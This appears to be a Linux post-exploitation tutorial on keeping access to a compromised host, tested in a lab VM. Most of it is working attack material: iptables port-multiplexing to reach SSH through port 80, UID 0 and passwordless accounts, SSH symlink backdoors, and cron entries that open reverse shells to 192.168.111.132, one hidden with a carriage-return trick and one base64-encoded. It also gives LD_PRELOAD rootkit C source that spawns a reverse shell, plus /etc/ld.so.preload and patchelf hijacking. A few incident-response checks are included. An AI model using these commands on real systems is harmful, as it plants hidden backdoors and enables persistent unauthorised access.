Common persistence and privilege retention methods include:
- Scheduled tasks and cron job backdoors
- Dynamic library hijacking
- Malicious shared object injection
- SSH key-based authentication abuse
- Port multiplexing techniques
- SSH symbolic link backdoors
- Privilege retention tactics
- Passwordless user accounts
- Rootkit deployment
Port Multiplexing
Servers typically expose specific ports for services, such as port 80 for HTTP, while blocking direct access to SSH on port 22. Attackers can use port multiplexing to tunnel SSH traffic through an allowed port like 80, redirecting it internally to port 22.
Test Enviromnent
- OS: CentOS 7 on VMware (
192.168.111.131)
- Start the SSH service and block direct access to port 22 using
iptables:
sudo iptables -I INPUT 5 -s 192.168.111.1 -p tcp --dport 22 -j DROP
# Remove the rule
iptables -D INPUT 5
- Configure TCP-based triggering (testing failed):
- Create a custom chain:
iptables -t nat -N MUXCHAIN
- Redirect traffic to port 22:
iptables -t nat -A MUXCHAIN -p tcp -j REDIRECT --to-port 22
- Add source to a tracking list if a specific string is detected:
iptables -A INPUT -p tcp -m string --string 'secretflag' --algo bm -m recent --set --name authlist --rsource -j ACCEPT
- Remove source from the list:
iptables -A INPUT -p tcp -m string --string 'removeflag' --algo bm -m recent --name authlist --remove -j ACCEPT
- Redirect HTTP SYN packets from authorized sources to the multiplex chain:
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name authlist --rsource -j MUXCHAIN
- Activate the multiplexing:
echo secretflag | socat - tcp:192.168.111.131:80
- ICMP-based triggering (testing successful):
- Set up iptables rules:
iptables -t nat -N MUXCHAIN
iptables -t nat -A MUXCHAIN -p tcp -j REDIRECT --to-port 22
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name authlist --rsource -j ACCEPT
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name authlist --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name authlist --rsource -j MUXCHAIN
- Trigger from the attacker machine:
ping -c 1 -s 1111 192.168.111.131
- Deactivate:
ping -c 1 -s 1112 192.168.111.131
- Connect via SSH through port 80:
ssh root@192.168.111.131 -p 80
Privilege Retention
UID 0 Accounts
The UID 0 is reserved for the root user. Modifying a user’s UID to 0 grants root-level access.
List users with a valid shell:
cat /etc/passwd | grep "/bin/bash$"
Create a new user with UID 0:
sudo useradd -u 0 newroot # No home directory
sudo useradd -u 0 -m newroot # With home directory
Change an existing user’s UID:
sudo usermod -u 0 -o newroot
Audit accounts with UID 0:
awk -F: '$3 == 0 {print $1}' /etc/passwd
Sudoers Misconfiguration
The /etc/sudoers file controls sudo privileges. Users can be configured to execute commands as root without a password.
Example usage after configuration:
sudo su
# Enter user password
SSH Symbolic Link Backdoor
- Ensure
UsePAM yesis set in/etc/ssh/sshd_config. - Identify PAM configurations that allow root authentication:
find /etc/pam.d | xargs grep "pam_rootok"
- Create a symbolic link to the SSH daemon:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234
- Disable the firewall for testing:
systemctl stop firewalld.service
Alternative method:
cp /etc/pam.d/su /etc/pam.d/java
ln -sf /usr/sbin/sshd /java
/java -oPort=5555
Incident response check:
netstat -anpt
ll /proc/5284
Scheduled Tasks
Common cron paths:
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/crontab
Reverse shell via cron:
crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1"; } | crontab -
Stealthy injection:
(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1;\rno crontab for `whoami`%100c\n")|crontab -
Base64 encoded payload in system cron:
echo '*/1 * * * * root echo L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMTEuMTMyLzIzMzMgMDwmMSAyPiYx|base64 -d|sh' >> /etc/cron.d/0hourly
Remove tasks:
crontab -e
crontab -r
Review logs:
cat /var/log/cron
cat -A /var/spool/cron/root
Passwordless Accounts
passwd -d test
echo "PermitEmptyPasswords yes" >> /etc/ssh/sshd_config
service sshd restart
Incident response:
cat /etc/ssh/sshd_config | grep PermitEmpty
Rootkits
LD_PRELOAD Injection
Check current setting:
echo $LD_PRELOAD
Set a malicious shared object:
LD_PRELOAD=/path/to/malicious.so
export LD_PRELOAD
Identify hijackable functions:
readelf -Ws /usr/bin/ls
Example malicious source using strncmp hijack:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'");
}
extern int strncmp(const char *s1, const char *s2, size_t n) {
if (getenv("LD_PRELOAD") == NULL) return 0;
unsetenv("LD_PRELOAD");
payload();
}
Compile:
gcc -shared -fPIC evil.c -o evil.so
Constructor-based execution:
#include <stdlib.h>
#include <stdio.h>
__attribute__((__constructor__)) void preload(void) {
unsetenv("LD_PRELOAD");
system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'");
}
Persistent loader via /etc/ld.so.preload:
echo "/tmp/evil.so" > /etc/ld.so.preload
Startup Scripts
Place scripts in /etc/init.d/ to execute during boot:
#!/bin/bash
/usr/bin/bsd-port/knerl
Set permissions:
chmod 755 /etc/init.d/selinux
Static Library Hijacking with Patchelf
View library dependencies:
ldd /usr/bin/whoami
Add or remove a malicious library:
./patchelf --add-needed /tmp/evil.so /usr/bin/whoami
./patchelf --remove-needed /tmp/evil.so /usr/bin/whoami